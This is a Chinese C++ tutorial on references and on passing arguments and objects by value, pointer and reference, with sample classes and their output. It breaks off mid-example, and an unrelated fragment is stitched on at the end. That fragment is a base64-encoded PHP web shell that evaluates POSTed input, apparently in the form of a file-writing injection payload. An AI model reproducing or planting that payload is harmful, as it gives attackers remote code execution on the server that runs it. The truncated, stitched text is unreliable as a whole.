引用就是别名,如下,rnum是num的别人,对rnum的操作实际就是对num的操作。这里的&是引用运算符,不是取址运算符。 int num = 1;int &rnum=num; 还可以定义一个对象的别名,如下,注意不能定义一个类的别名,因为它没有具体的内存地址。 Human Mike;Human &rMike=Mike; 还要注意一点是,定义引用时一定要同时对该引用进行初始化。 函数的参数传递有三种方式: (1)通过值来传递函数参数 当通过值的方式给函数传递参数时,编译器会自动在栈中创建该参数的拷贝,因此,函数处理的是这些副本,一旦函数执行完毕,副本就被释放,原来的参数未被修改。 void swap(int a,int b); // 声明swap(a,b); // 调用 (2)通过指针来传递函数参数 当通过指针的方式给函数传递参数时,实际上传递的是参数的内存地址,而无需在栈中创建参数的拷贝,因此是对参数自身的参数。 void swap(int *a,int *b); // 声明swap(&a,&b); // 调用 (3)通过引用来传递函数参数 对比于指针的间接访问,采用引用的方式可以直接访问内存地址。另外,使用别名的方式传递参数比用指针传递更加方便和清晰,并且具有指针的功能。 void swap(int &ra,int &rb); // 声明swap(a,b); // 调用 传递对象的方式有四种: (1)用值来传递对象 假如仅仅是传递变量的话,采用指针或引用这种按址传递方式的优势不是很明显,但假如是传递较大的对象的话,则优势比较明显。这是因为按值方式向函数传递一个对象时,会建立该对象的拷贝,而从函数返回一个对象时也要建立被返回对象的拷贝。测试代码如下: #include<iostream>using namespace std;class A{public: A(); A(A&); ~A();};A::A(){ cout << "执行构造函数创建一个对象n";}A::A(A&){ cout << "执行复制构造函数创建该对象的副本n";}A::~A(){ cout << "执行析构函数删除该对象n";}A func(A one);int main(){ A a; func(a); system("pause"); return 0;}A func(A one){ return one;} 输出结果: 执行构造函数创建一个对象执行复制构造函数创建该对象的副本执行复制构造函数创建该对象的副本执行析构函数删除该对象执行析构函数删除该对象执行析构函数删除该对象 (2)用指针来传递对象 测试代码如下: #include<iostream>using namespace std;class A{public: A(); A(A&); ~A();};A::A(){ cout << "执行构造函数创建一个对象n";}A::A(A&){ cout << "执行复制构造函数创建该对象的副本n";}A::~A(){ cout << "执行析构函数删除该对象n";}A *func(A *one);int main(){ A a; func(&a); system("pause"); return 0;}A *func(A *one){ return one;} 输出结果: 执行构造函数创建一个对象
,w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}})
|